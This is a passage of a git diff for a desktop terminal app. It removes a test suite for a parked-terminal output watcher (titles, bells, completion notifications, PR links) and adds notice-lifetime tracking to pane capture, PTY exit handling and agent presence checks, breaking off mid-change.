-    theme?: 'system' | 'dark' | 'light'
-    promptCacheTimerEnabled?: boolean
-    experimentalTerminalAttention?: boolean
-    terminalMainSideEffectAuthority?: boolean
-    terminalHiddenDeliveryGate?: boolean
-    notifications?: { enabled?: boolean; agentTaskComplete?: boolean }
-  } | null
-  setRuntimePaneTitle: ReturnType<typeof vi.fn>
-  clearRuntimePaneTitle: ReturnType<typeof vi.fn>
-  updateTabTitle: ReturnType<typeof vi.fn>
-  markTerminalBell: ReturnType<typeof vi.fn>
-  setCacheTimerStartedAt: ReturnType<typeof vi.fn>
-  observeTerminalGitHubPullRequestLink: ReturnType<typeof vi.fn>
-  agentStatusByPaneKey: Record<string, { state: string; prompt: string; agentType?: string }>
-  paneForegroundAgentByPaneKey: Record<string, { agent: string | null }>
-}
-
-const dispatchTerminalNotification = vi.fn()
-let mockStoreState: MockStoreState
-
-vi.mock('../../notifications/dispatch-terminal-notification', () => ({
-  dispatchTerminalNotification
-}))
-
-// Command-status semantics live in their own suite; verify watcher-to-policy wiring here.
-const commandStatusPolicy = {
-  onCommandFinished: vi.fn(),
-  onCommandCodeWorking: vi.fn(),
-  onCommandCodeDone: vi.fn(),
-  dispose: vi.fn()
-}
-// Partial mock: readInFlightCommandCodeTurn stays real so detector seeding reads the store.
-vi.mock('./parked-terminal-command-status', async (importOriginal) => ({
-  ...(await importOriginal<typeof ParkedTerminalCommandStatus>()),
-  createParkedTerminalCommandStatusPolicy: vi.fn(() => commandStatusPolicy)
-}))
-
-vi.mock('@/lib/terminal-theme', () => ({
-  getSystemPrefersDark: () => true
-}))
-
-vi.mock('@/store/index', () => ({ useAppStore: { getState: () => mockStoreState } }))
-
-function createMockStoreState(): MockStoreState {
-  return {
-    // Pin legacy byte mode here; dedicated cases below cover main-authority facts.
-    settings: {
-      theme: 'system',
-      promptCacheTimerEnabled: true,
-      experimentalTerminalAttention: false,
-      terminalMainSideEffectAuthority: false,
-      notifications: { enabled: true, agentTaskComplete: true }
-    },
-    setRuntimePaneTitle: vi.fn(),
-    clearRuntimePaneTitle: vi.fn(),
-    updateTabTitle: vi.fn(),
-    markTerminalBell: vi.fn(),
-    setCacheTimerStartedAt: vi.fn(),
-    observeTerminalGitHubPullRequestLink: vi.fn(),
-    agentStatusByPaneKey: {},
-    paneForegroundAgentByPaneKey: {}
-  }
-}
-
-describe('startParkedTerminalByteWatcher', () => {
-  const originalWindow = (globalThis as { window?: typeof window }).window
-  let onData: ((payload: { id: string; data: string }) => void) | null = null
-
-  function emit(data: string): void {
-    onData?.({ id: PTY_ID, data })
-  }
-
-  // The output processor defers title/bell side effects onto a 0ms drain timer.
-  function flushSideEffects(): void {
-    vi.advanceTimersByTime(0)
-  }
-
-  async function startWatcher(
-    overrides: Partial<ParkedTerminalByteWatcherOptions> = {}
-  ): Promise<{ dispose: () => void; ptyWrite: ReturnType<typeof vi.fn> }> {
-    const { startParkedTerminalByteWatcher } = await import('./parked-terminal-byte-watcher')
-    const ptyWrite = vi.fn()
-    ;(window as unknown as { api: { pty: Record<string, unknown> } }).api.pty.write = ptyWrite
-    const dispose = startParkedTerminalByteWatcher({
-      ptyId: PTY_ID,
-      tabId: TAB_ID,
-      worktreeId: WORKTREE_ID,
-      leafId: LEAF_ID,
-      paneId: PANE_ID,
-      ...overrides
-    })
-    return { dispose, ptyWrite }
-  }
-
-  beforeEach(() => {
-    vi.resetModules()
-    vi.useFakeTimers()
-    dispatchTerminalNotification.mockClear()
-    commandStatusPolicy.onCommandFinished.mockClear()
-    commandStatusPolicy.onCommandCodeWorking.mockClear()
-    commandStatusPolicy.onCommandCodeDone.mockClear()
-    commandStatusPolicy.dispose.mockClear()
-    onData = null
-    mockStoreState = createMockStoreState()
-    ;(globalThis as { window: typeof window }).window = {
-      ...originalWindow,
-      api: {
-        pty: {
-          onData: vi.fn((callback: (payload: { id: string; data: string }) => void) => {
-            onData = callback
-            return () => {}
-          }),
-          onReplay: vi.fn(() => () => {}),
-          onExit: vi.fn(() => () => {}),
-          ackData: vi.fn()
-        }
-      }
-    } as unknown as typeof window
-  })
-
-  afterEach(() => {
-    vi.useRealTimers()
-    if (originalWindow) {
-      ;(globalThis as { window: typeof window }).window = originalWindow
-    } else {
-      delete (globalThis as { window?: typeof window }).window
-    }
-  })
-
-  it('forwards every OSC title in order to the pane and tab title store actions', async () => {
-    const { dispose } = await startWatcher()
-
-    emit(`${WORKING_TITLE_OSC}${IDLE_TITLE_OSC}`)
-    flushSideEffects()
-
-    expect(mockStoreState.setRuntimePaneTitle.mock.calls).toEqual([
-      [TAB_ID, PANE_ID, '⠋ Build feature'],
-      [TAB_ID, PANE_ID, IDLE_TITLE]
-    ])
-    expect(mockStoreState.updateTabTitle.mock.calls).toEqual([
-      [TAB_ID, '⠋ Build feature'],
-      [TAB_ID, IDLE_TITLE]
-    ])
-    dispose()
-  })
-
-  // Publish hookless Cursor identity once; redraws must not overwrite its synthesized status title (#10258).
-  it('stores the bare cursor-agent native title once, then keeps the synthetic title', async () => {
-    const { dispose } = await startWatcher()
-
-    emit('\x1b]0;Cursor Agent\x07')
-    emit('\x1b]0;Cursor Agent\x07')
-    emit('\x1b]0;⠋ Cursor Agent\x07')
-    emit('\x1b]0;Cursor Agent\x07')
-    flushSideEffects()
-
-    expect(mockStoreState.setRuntimePaneTitle.mock.calls).toEqual([
-      [TAB_ID, PANE_ID, 'Cursor Agent'],
-      [TAB_ID, PANE_ID, '⠋ Cursor Agent']
-    ])
-    expect(mockStoreState.updateTabTitle.mock.calls).toEqual([
-      [TAB_ID, 'Cursor Agent'],
-      [TAB_ID, '⠋ Cursor Agent']
-    ])
-    dispose()
-  })
-
-  it('marks unread on BEL and schedules the delayed terminal-bell OS notification', async () => {
-    const workspaceOwner = { executionHostId: 'ssh:qa' as const, runtimeEnvironmentId: 'hub' }
-    const { dispose } = await startWatcher({ workspaceOwner })
-
-    emit('build finished\x07')
-    flushSideEffects()
-
-    expect(mockStoreState.markTerminalBell).toHaveBeenCalledWith({
-      worktreeId: WORKTREE_ID,
-      tabId: TAB_ID,
-      paneKey: PANE_KEY
-    })
-    expect(dispatchTerminalNotification).not.toHaveBeenCalled()
-
-    vi.advanceTimersByTime(NOTIFICATION_GRACE_MS)
-
-    expect(dispatchTerminalNotification).toHaveBeenCalledTimes(1)
-    expect(dispatchTerminalNotification).toHaveBeenCalledWith(WORKTREE_ID, {
-      source: 'terminal-bell',
-      paneKey: PANE_KEY,
-      ptyId: PTY_ID,
-      workspaceOwner
-    })
-    dispose()
-  })
-
-  it('does not treat an OSC-terminator BEL as a bell, even split across chunks', async () => {
-    const { dispose } = await startWatcher()
-
-    emit('\x1b]0;par')
-    emit('tial title\x07')
-    flushSideEffects()
-    vi.advanceTimersByTime(NOTIFICATION_GRACE_MS * 4)
-
-    expect(mockStoreState.markTerminalBell).not.toHaveBeenCalled()
-    expect(dispatchTerminalNotification).not.toHaveBeenCalled()
-    dispose()
-  })
-
-  it('fires the prompt-cache timer and agent-task-complete on working→idle', async () => {
-    const { dispose } = await startWatcher()
-
-    emit(WORKING_TITLE_OSC)
-    flushSideEffects()
-    expect(mockStoreState.setCacheTimerStartedAt).toHaveBeenLastCalledWith(PANE_KEY, null)
-
-    emit(IDLE_TITLE_OSC)
-    flushSideEffects()
-    expect(mockStoreState.setCacheTimerStartedAt).toHaveBeenLastCalledWith(
-      PANE_KEY,
-      expect.any(Number)
-    )
-    expect(dispatchTerminalNotification).not.toHaveBeenCalled()
-
-    vi.advanceTimersByTime(NOTIFICATION_GRACE_MS)
-
-    expect(dispatchTerminalNotification).toHaveBeenCalledTimes(1)
-    expect(dispatchTerminalNotification).toHaveBeenCalledWith(WORKTREE_ID, {
-      source: 'agent-task-complete',
-      terminalTitle: IDLE_TITLE,
-      paneKey: PANE_KEY,
-      ptyId: PTY_ID
-    })
-    dispose()
-  })
-
-  it('lets a same-burst completion supersede the pending bell OS notification', async () => {
-    const { dispose } = await startWatcher()
-
-    emit(WORKING_TITLE_OSC)
-    flushSideEffects()
-    emit(`${IDLE_TITLE_OSC}\x07`)
-    flushSideEffects()
-    vi.advanceTimersByTime(NOTIFICATION_GRACE_MS * 8)
-
-    // The bell still marks unread immediately; only the OS notification yields.
-    expect(mockStoreState.markTerminalBell).toHaveBeenCalledWith({
-      worktreeId: WORKTREE_ID,
-      tabId: TAB_ID,
-      paneKey: PANE_KEY
-    })
-    expect(dispatchTerminalNotification).toHaveBeenCalledTimes(1)
-    expect(dispatchTerminalNotification).toHaveBeenCalledWith(
-      WORKTREE_ID,
-      expect.objectContaining({ source: 'agent-task-complete' })
-    )
-    dispose()
-  })
-
-  it('cancels the pending completion and clears the cache timer when working resumes', async () => {
-    const { dispose } = await startWatcher()
-
-    emit(WORKING_TITLE_OSC)
-    emit(IDLE_TITLE_OSC)
-    flushSideEffects()
-    emit(WORKING_TITLE_OSC)
-    flushSideEffects()
-    vi.advanceTimersByTime(NOTIFICATION_GRACE_MS * 4)
-
-    expect(dispatchTerminalNotification).not.toHaveBeenCalled()
-    expect(mockStoreState.setCacheTimerStartedAt).toHaveBeenLastCalledWith(PANE_KEY, null)
-    dispose()
-  })
-
-  it('observes GitHub PR links across chunk boundaries', async () => {
-    const { dispose } = await startWatcher()
-
-    emit('PR: https://github.com/orca-dev/orca/pull/42')
-    expect(mockStoreState.observeTerminalGitHubPullRequestLink).not.toHaveBeenCalled()
-
-    emit('1\r\ndone')
-    expect(mockStoreState.observeTerminalGitHubPullRequestLink).toHaveBeenCalledTimes(1)
-    expect(mockStoreState.observeTerminalGitHubPullRequestLink).toHaveBeenCalledWith(
-      WORKTREE_ID,
-      expect.objectContaining({
-        url: 'https://github.com/orca-dev/orca/pull/421',
-        number: 421,
-        slug: { owner: 'orca-dev', repo: 'orca', host: 'github.com' }
-      }),
-      expect.objectContaining({ tabId: TAB_ID, ptyId: PTY_ID })
-    )
-    dispose()
-  })
-
-  it('feeds a Command Code return to the idle composer through as done', async () => {
-    const { dispose } = await startWatcher()
-
-    emit('# Command Code v0.27.2\r\n')
-    emit('❯ Fix the spinner\r\n')
-    emit('\r\n❯ Ask your question...\r\n')
-
-    expect(commandStatusPolicy.onCommandCodeDone).toHaveBeenCalledWith('Fix the spinner')
-    dispose()
-  })
-
-  it('arms the Command Code scrape from a turn already in flight at park time', async () => {
-    // The banner is gone by park time; the live row must seed Command Code identity.
-    mockStoreState.agentStatusByPaneKey = {
-      [PANE_KEY]: { state: 'working', prompt: 'Fix the spinner', agentType: 'command-code' }
-    }
-    const { dispose } = await startWatcher()
-
-    emit('\r\n❯ Ask your question...\r\n')
-
-    expect(commandStatusPolicy.onCommandCodeDone).toHaveBeenCalledWith('Fix the spinner')
-    dispose()
-  })
-
-  it('fires completion when seeded with a working title and the agent goes idle while parked', async () => {
-    // Seed prior working state so the recreated tracker can recognize working→idle.
-    const { dispose } = await startWatcher({ initialTitle: '⠋ Build feature' })
-
-    emit(IDLE_TITLE_OSC)
-    flushSideEffects()
-    vi.advanceTimersByTime(NOTIFICATION_GRACE_MS)
-
-    expect(dispatchTerminalNotification).toHaveBeenCalledTimes(1)
-    expect(dispatchTerminalNotification).toHaveBeenCalledWith(WORKTREE_ID, {
-      source: 'agent-task-complete',
-      terminalTitle: IDLE_TITLE,
-      paneKey: PANE_KEY,
-      ptyId: PTY_ID
-    })
-    dispose()
-  })
-
-  it('does not fire completion for an idle title without a seed or observed transition', async () => {
-    const { dispose } = await startWatcher()
-
-    emit(IDLE_TITLE_OSC)
-    flushSideEffects()
-    vi.advanceTimersByTime(NOTIFICATION_GRACE_MS * 4)
-
-    expect(dispatchTerminalNotification).not.toHaveBeenCalled()
-    dispose()
-  })
-
-  it('shutdown dispose cancels the armed completion timer and silences the final flush', async () => {
-    const { dispose } = await startWatcher()
-
-    emit(WORKING_TITLE_OSC)
-    emit(IDLE_TITLE_OSC)
-    flushSideEffects()
-
-    // Equivalent to shutdownWorktreeTerminals → disposeParkedTerminalWatchersForPtyIds.
-    dispose()
-    vi.advanceTimersByTime(NOTIFICATION_GRACE_MS * 4)
-    expect(dispatchTerminalNotification).not.toHaveBeenCalled()
-
-    // The teardown flush that main emits after pty.kill must be a no-op.
-    emit('final teardown flush\x07')
-    flushSideEffects()
-    vi.advanceTimersByTime(NOTIFICATION_GRACE_MS * 4)
-    expect(mockStoreState.markTerminalBell).not.toHaveBeenCalled()
-    expect(dispatchTerminalNotification).not.toHaveBeenCalled()
-  })
-
-  it('dispose unregisters the sidecar and cancels the pending bell notification', async () => {
-    const { dispose } = await startWatcher()
-
-    emit('\x07')
-    flushSideEffects()
-    expect(mockStoreState.markTerminalBell).toHaveBeenCalledTimes(1)
-
-    dispose()
-    vi.advanceTimersByTime(NOTIFICATION_GRACE_MS * 4)
-    expect(dispatchTerminalNotification).not.toHaveBeenCalled()
-
-    emit('\x07')
-    flushSideEffects()
-    expect(mockStoreState.markTerminalBell).toHaveBeenCalledTimes(1)
-
-    // Idempotent: a second dispose must not throw or clobber another watcher.
-    dispose()
-  })
-
-  it('disposes the previous watcher when a new one starts for the same PTY', async () => {
-    await startWatcher({ paneId: 1 })
-    const second = await startWatcher({ paneId: 2 })
-
-    emit(IDLE_TITLE_OSC)
-    flushSideEffects()
-
-    expect(mockStoreState.setRuntimePaneTitle).toHaveBeenCalledTimes(1)
-    expect(mockStoreState.setRuntimePaneTitle).toHaveBeenCalledWith(TAB_ID, 2, IDLE_TITLE)
-    second.dispose()
-  })
-
-  // Main-authority mode parses bytes once in main; parked policy consumes derived facts, including PR links.
-  describe('with main side-effect authority on', () => {
-    function enableMainAuthority(): void {
-      mockStoreState.settings = {
-        ...mockStoreState.settings,
-        terminalMainSideEffectAuthority: true
-      }
-    }
-
-    async function dispatchFacts(
-      facts: TerminalSideEffectFact[],
-      options: { seq?: number; replay?: boolean } = {}
-    ): Promise<void> {
-      const handler = await import('../../pty-transport/output/terminal-side-effect-facts-handler')
-      handler._dispatchTerminalSideEffectBatchForTest({
-        ptyId: PTY_ID,
-        seq: options.seq ?? 0,
-        ...(options.replay ? { replay: true } : {}),
-        facts
-      })
-    }
-
-    it('restores a cold-started watcher title without replaying attention facts', async () => {
-      enableMainAuthority()
-      const getSideEffectSnapshot = vi.fn().mockResolvedValue({
-        ptyId: PTY_ID,
-        seq: 42,
-        replay: true,
-        facts: [
-          { kind: 'title', normalizedTitle: IDLE_TITLE, rawTitle: IDLE_TITLE },
-          { kind: 'bell' },
-          { kind: 'agent-idle', title: IDLE_TITLE }
-        ] satisfies TerminalSideEffectFact[]
-      })
-      ;(
-        window as unknown as {
-          api: { pty: { getSideEffectSnapshot: typeof getSideEffectSnapshot } }
-        }
-      ).api.pty.getSideEffectSnapshot = getSideEffectSnapshot
-
-      const { dispose } = await startWatcher({ restoreTitleOnRegister: true })
-      await Promise.resolve()
-
-      expect(getSideEffectSnapshot).toHaveBeenCalledWith(PTY_ID)
-      expect(mockStoreState.setRuntimePaneTitle).toHaveBeenCalledWith(TAB_ID, PANE_ID, IDLE_TITLE)
-      expect(mockStoreState.updateTabTitle).toHaveBeenCalledWith(TAB_ID, IDLE_TITLE)
-      expect(mockStoreState.markTerminalBell).not.toHaveBeenCalled()
-      expect(mockStoreState.setCacheTimerStartedAt).not.toHaveBeenCalled()
-      expect(dispatchTerminalNotification).not.toHaveBeenCalled()
-      dispose()
-    })
-
-    it('clears state without completion attention for stale-derived idle facts', async () => {
-      enableMainAuthority()
-      const { dispose } = await startWatcher()
-
-      await dispatchFacts([
-        { kind: 'title', normalizedTitle: '⠋ Build feature', rawTitle: '⠋ Build feature' },
-        { kind: 'agent-working' }
-      ])
-      // Stale-title expiry clears caches without granting completion to a merely paused agent.
-      await dispatchFacts([
-        {
-          kind: 'title',
-          normalizedTitle: 'Build feature',
-          rawTitle: 'Build feature',
-          staleWorkingTitleClear: true
-        },
-        { kind: 'agent-idle', title: 'Build feature', staleWorkingTitleClear: true }
-      ])
-
-      expect(mockStoreState.setRuntimePaneTitle).toHaveBeenLastCalledWith(
-        TAB_ID,
-        PANE_ID,
-        'Build feature'
-      )
-      expect(mockStoreState.setCacheTimerStartedAt).toHaveBeenLastCalledWith(PANE_KEY, null)
-      vi.advanceTimersByTime(NOTIFICATION_GRACE_MS * 4)
-      expect(dispatchTerminalNotification).not.toHaveBeenCalled()
-      expect(mockStoreState.markTerminalBell).not.toHaveBeenCalled()
-      dispose()
-    })
-
-    it('dispose unregisters the fact consumer and clears a written title slot', async () => {
-      enableMainAuthority()
-      const { dispose } = await startWatcher()
-
-      await dispatchFacts([{ kind: 'title', normalizedTitle: IDLE_TITLE, rawTitle: IDLE_TITLE }])
-      expect(mockStoreState.setRuntimePaneTitle).toHaveBeenCalledWith(TAB_ID, PANE_ID, IDLE_TITLE)
-
-      dispose()
-      expect(mockStoreState.clearRuntimePaneTitle).toHaveBeenCalledWith(TAB_ID, PANE_ID)
-
-      await dispatchFacts([{ kind: 'bell' }])
-      vi.advanceTimersByTime(NOTIFICATION_GRACE_MS * 4)
-      expect(mockStoreState.markTerminalBell).not.toHaveBeenCalled()
-      expect(dispatchTerminalNotification).not.toHaveBeenCalled()
-    })
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/parking/output-watchers/parked-terminal-tab-coverage.ts b/src/renderer/src/components/terminal-pane/parking/output-watchers/parked-terminal-tab-coverage.ts
index 82b8d877268..2b454663188 100644
--- a/src/renderer/src/components/terminal-pane/parking/output-watchers/parked-terminal-tab-coverage.ts
+++ b/src/renderer/src/components/terminal-pane/parking/output-watchers/parked-terminal-tab-coverage.ts
@@ -1,3 +1,4 @@
+import { isTerminalNoticeLifetimeCurrent } from '../../provider-notices/terminal-notice-lifetime'
 import { useAppStore } from '@/store/index'
 import { sleepingAgentRecordIndex } from '@/store/terminals/sleeping-agent-record-index'
 import { isTerminalLeafId } from '../../../../../../shared/workspace-layout/stable-pane-id'
@@ -184,6 +185,10 @@ function resolveParkedTerminalPaneCandidates(
       ? {
           ...pane,
           paneId: prior.paneId,
+          ...(prior.noticeLifetime?.ptyId === pane.ptyId &&
+          isTerminalNoticeLifetimeCurrent(prior.noticeLifetime)
+            ? { noticeLifetime: prior.noticeLifetime }
+            : {}),
           ...(prior.ptyId === pane.ptyId && prior.workspaceOwner
             ? { workspaceOwner: prior.workspaceOwner }
             : {}),
diff --git a/src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-pty-watcher.ts b/src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-pty-watcher.ts
index a437fdf42e6..6c9f0fce236 100644
--- a/src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-pty-watcher.ts
+++ b/src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-pty-watcher.ts
@@ -1,3 +1,5 @@
+import { getTerminalNoticeLifetime } from '../../provider-notices/terminal-notice-lifetime'
+import { prepareAcceptedTerminalNoticeExit } from '../../pty-transport/delivery/pty-notice-exit'
 import { isTerminalLeafId } from '../../../../../../shared/workspace-layout/stable-pane-id'
 import { isProvenProcessExit } from '../../../../../../shared/terminal/pty/lifecycle/terminal-exit-cause'
 import { isRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
@@ -60,6 +62,7 @@ export function startParkedPtyWatcher(args: {
   ) {
     return
   }
+  const notice = getTerminalNoticeLifetime(ptyId)
   const handlePtyExit = (code: number, { hadPrimary }: { hadPrimary: boolean }): void => {
     // Replacement waits for a future connect, but the dead process’s working title must clear now.
     useAppStore.getState().clearRuntimePaneTitle(tab.id, pane.paneId)
@@ -74,6 +77,7 @@ export function startParkedPtyWatcher(args: {
     if (!provenExit) {
       useAppStore.getState().markUnverifiedPtyLoss(tab.id)
     }
+    const retireNotice = provenExit ? prepareAcceptedTerminalNoticeExit(notice) : () => {}
     // Detach removed the primary observer; this sidecar must preserve sleep state/layout and keep the buffered-exit tombstone against stale watcher re-registration.
     if (!hadPrimary && isSleepPreservedParkedPtyExit(ptyId)) {
       entry.disposersByPtyId.get(ptyId)?.()
@@ -89,6 +93,7 @@ export function startParkedPtyWatcher(args: {
       }
       return
     }
+    retireNotice()
     if (entry.disposersByPtyId.size > 1) {
       discardPreHandlerPtyState(ptyId)
       collapseParkedExitedLeaf(tab.id, ptyId)
@@ -166,17 +171,20 @@ export function collapseParkedExitedLeaf(tabId: string, ptyId: string): void {
     capturedPanesByTabId.get(tabId)?.panes.find((pane) => pane.ptyId === ptyId)?.leafId ??
     Object.entries(layout?.ptyIdsByLeafId ?? {}).find(([, boundPtyId]) => boundPtyId === ptyId)?.[0]
   if (leafId) {
-    collapseParkedTerminalLeaf(tabId, leafId, ptyId)
+    const retireNotice = prepareAcceptedTerminalNoticeExit(getTerminalNoticeLifetime(ptyId))
+    if (collapseParkedTerminalLeaf(tabId, leafId, ptyId)) {
+      retireNotice()
+    }
   }
 }
 
 /** Removes one leaf from a parked tab's stored layout; a no-op once the leaf is gone. */
-export function collapseParkedTerminalLeaf(tabId: string, leafId: string, ptyId?: string): void {
+export function collapseParkedTerminalLeaf(tabId: string, leafId: string, ptyId?: string): boolean {
   const state = useAppStore.getState()
   const layout = state.terminalLayoutsByTabId[tabId]
   const detached = detachTerminalLayoutLeaf(layout, leafId)
   if (!detached) {
-    return
+    return false
   }
   const worktreeId = getTerminalTabOwnerWorktreeId(state.tabsByWorktree, tabId)
   const terminalTab = worktreeId
@@ -197,4 +205,5 @@ export function collapseParkedTerminalLeaf(tabId: string, leafId: string, ptyId?
     tabId,
     resolveTabTitleAfterPaneClose(state.runtimePaneTitlesByTabId[tabId] ?? {}, activePaneId)
   )
+  return true
 }
diff --git a/src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-reconciliation.test.ts b/src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-reconciliation.test.ts
deleted file mode 100644
index deaeb84e5cf..00000000000
--- a/src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-reconciliation.test.ts
+++ /dev/null
@@ -1,54 +0,0 @@
-import { afterEach, expect, it } from 'vitest'
-import {
-  captureParkedTerminalPaneCandidates,
-  pruneParkedTerminalWatchers,
-  retireParkedTerminalTab
-} from './terminal-parked-watcher-registry'
-import {
-  readTerminalScrollIntentKeyRetention,
-  writeKeyedTerminalScrollIntent
-} from '../../../../lib/pane-manager/terminal-scroll-intent-key-store'
-
-const TAB_ID = 'tab-1'
-const WORKTREE_ID = 'repo::/worktree'
-const FIRST_LEAF_ID = '11111111-1111-4111-8111-111111111111'
-const SECOND_LEAF_ID = '22222222-2222-4222-8222-222222222222'
-const FIRST_PTY_ID = 'remote:env-1@@terminal-1'
-
-afterEach(() => {
-  retireParkedTerminalTab(TAB_ID)
-})
-
-it('releases captured scroll-intent keys when a parked tab is closed', () => {
-  writeKeyedTerminalScrollIntent(FIRST_LEAF_ID, {
-    kind: 'pinnedViewport',
-    bufferType: 'normal',
-    viewportY: 4,
-    baseY: 12,
-    revision: 1
-  })
-  captureParkedTerminalPaneCandidates(TAB_ID, WORKTREE_ID, [
-    { ptyId: FIRST_PTY_ID, paneId: 1, leafId: FIRST_LEAF_ID, drivesTabTitle: true }
-  ])
-
-  expect(readTerminalScrollIntentKeyRetention().intents).toBe(1)
-  retireParkedTerminalTab(TAB_ID)
-  expect(readTerminalScrollIntentKeyRetention().intents).toBe(0)
-})
-
-it('releases captured scroll-intent keys when a parked worktree is removed', () => {
-  writeKeyedTerminalScrollIntent(SECOND_LEAF_ID, {
-    kind: 'pinnedViewport',
-    bufferType: 'normal',
-    viewportY: 8,
-    baseY: 16,
-    revision: 1
-  })
-  captureParkedTerminalPaneCandidates(TAB_ID, WORKTREE_ID, [
-    { ptyId: FIRST_PTY_ID, paneId: 1, leafId: SECOND_LEAF_ID, drivesTabTitle: true }
-  ])
-
-  pruneParkedTerminalWatchers(new Set())
-
-  expect(readTerminalScrollIntentKeyRetention().intents).toBe(0)
-})
diff --git a/src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-registry.ts b/src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-registry.ts
index 23641d38685..f804336fe4f 100644
--- a/src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-registry.ts
+++ b/src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-registry.ts
@@ -1,3 +1,7 @@
+import {
+  isTerminalNoticeLifetimeCurrent,
+  type TerminalNoticeLifetime
+} from '../../provider-notices/terminal-notice-lifetime'
 /** Store-free registry/disposal lets shutdown slices stop watchers synchronously without re-entering store initialization through the watcher lifecycle import. */
 import { WorkspaceParkedTerminalRegistry } from './workspace-parked-terminal-registry'
 import { invalidateTerminalParkingInputs } from '../terminal-parking-input-events'
@@ -8,9 +12,10 @@ import {
 } from '../../pty-transport/delivery/pty-pre-handler-buffer'
 import { parseRemoteRuntimePtyId } from '../../../../../../shared/remote-runtime/remote-runtime-pty-id'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../../shared/constants'
-import { releaseTerminalScrollIntentKey } from '../../../../lib/pane-manager/terminal-scroll-intent-key-store'
+import { releaseTerminalScrollIntentKey } from '../../../../lib/pane-manager/terminal-scroll/terminal-scroll-intent-key-store'
 
 export type ParkedTerminalPaneCapture = {
+  noticeLifetime?: TerminalNoticeLifetime
   workspaceOwner?: NotificationWorkspaceOwner
   ptyId: string | null
   /** PaneManager numeric pane id the live pane used for runtime titles. */
@@ -108,6 +113,20 @@ export function captureParkedTerminalPaneCandidates(
   worktreeId: string,
   panes: ParkedTerminalPaneCapture[]
 ): void {
+  const previous = new Map(
+    capturedPanesByTabId.get(tabId)?.panes.map((pane) => [pane.leafId, pane])
+  )
+  for (const pane of panes) {
+    const prior = previous.get(pane.leafId)?.noticeLifetime
+    if (
+      !pane.noticeLifetime &&
+      prior &&
+      prior.ptyId === pane.ptyId &&
+      isTerminalNoticeLifetimeCurrent(prior)
+    ) {
+      pane.noticeLifetime = prior
+    }
+  }
   capturedPanesByTabId.set(tabId, { worktreeId, panes })
 }
 
diff --git a/src/renderer/src/components/terminal-pane/provider-notices/agent-presence/agent-terminal-presence.ts b/src/renderer/src/components/terminal-pane/provider-notices/agent-presence/agent-terminal-presence.ts
index 4376f73a59f..6fe380b5ec5 100644
--- a/src/renderer/src/components/terminal-pane/provider-notices/agent-presence/agent-terminal-presence.ts
+++ b/src/renderer/src/components/terminal-pane/provider-notices/agent-presence/agent-terminal-presence.ts
@@ -3,13 +3,26 @@ import type { AppState } from '@/store/types'
 
 type NoticeAgent = 'codex' | 'claude'
 
+function paneKeyTabId(paneKey: string): string {
+  const separator = paneKey.indexOf(':')
+  return separator === -1 ? paneKey : paneKey.slice(0, separator)
+}
+
+function isTerminalTab(state: AppState, tabId: string): boolean {
+  return Object.values(state.tabsByWorktree).some((tabs) => tabs.some((tab) => tab.id === tabId))
+}
+
 // Why three sources: Orca-launched tabs, hook-reported agents (SSH too), and an agent typed in a local pane.
 function hasAgentTerminal(state: AppState, agent: NoticeAgent): boolean {
   return (
     Object.values(state.tabsByWorktree).some((tabs) =>
       tabs.some((tab) => tab.launchAgent === agent)
     ) ||
-    Object.values(state.agentStatusByPaneKey).some((entry) => entry.agentType === agent) ||
+    // Why the terminal-tab check: native chat (agent-session) tabs project status entries too,
+    // but they run no CLI in a terminal, so they must not trigger terminal-only notices.
+    Object.entries(state.agentStatusByPaneKey).some(
+      ([paneKey, entry]) => entry.agentType === agent && isTerminalTab(state, paneKeyTabId(paneKey))
+    ) ||
     Object.values(state.paneForegroundAgentByPaneKey).some((entry) => entry.agent === agent)
   )
 }
diff --git a/src/renderer/src/components/terminal-pane/provider-notices/claude-account-shell/ClaudeOldTerminalBanner.tsx b/src/renderer/src/components/terminal-pane/provider-notices/claude-account-shell/ClaudeOldTerminalBanner.tsx
index 08f7c906dbc..37d2b7206af 100644
--- a/src/renderer/src/components/terminal-pane/provider-notices/claude-account-shell/ClaudeOldTerminalBanner.tsx
+++ b/src/renderer/src/components/terminal-pane/provider-notices/claude-account-shell/ClaudeOldTerminalBanner.tsx
@@ -1,3 +1,8 @@
+import {
+  getTerminalNoticeLifetime,
+  isTerminalNoticeLifetimeCurrent,
+  type TerminalNoticeLifetime
+} from '../terminal-notice-lifetime'
 import { useEffect, useState } from 'react'
 import { Button } from '@/components/ui/button'
 import { useTranslate } from '@/i18n/use-translate'
@@ -13,9 +18,6 @@ import {
   PaneTopWarningBanner
 } from '../../appearance/pane-top-banner/PaneTopWarningBanner'
 
-// Why module scope: a pane remounts on tab switches, and Dismiss must hold for the app session.
-const dismissedPtyIds = new Set<string>()
-
 // System default already matches new terminals; key explicit selections so account switches recheck old shells.
 function selectedClaudeAccountKey(state: AppState): string | null {
   const settings = state.settings
@@ -31,13 +33,17 @@ function selectedClaudeAccountKey(state: AppState): string | null {
 function useOpenedBeforeClaudeAccounts(
   ptyId: string,
   tabId: string,
-  selectionKey: string | null
+  selectionKey: string | null,
+  lifetime: TerminalNoticeLifetime | undefined
 ): boolean {
-  const [openedBefore, setOpenedBefore] = useState(false)
+  const [answer, setAnswer] = useState<{
+    lifetime: TerminalNoticeLifetime
+    openedBefore: boolean
+  }>()
   useEffect(() => {
     const target = selectionKey ? paneClaudeTarget(tabId) : null
     // Why hidden without a target: only the pane's own runtime says which account it runs.
-    if (!target) {
+    if (!target || !lifetime) {
       return
     }
     let cancelled = false
@@ -45,16 +51,16 @@ function useOpenedBeforeClaudeAccounts(
       .openedBeforeClaudeAccounts(ptyId, target)
       .catch(() => false)
       .then((answer) => {
-        if (!cancelled) {
-          setOpenedBefore(answer)
+        if (!cancelled && isTerminalNoticeLifetimeCurrent(lifetime)) {
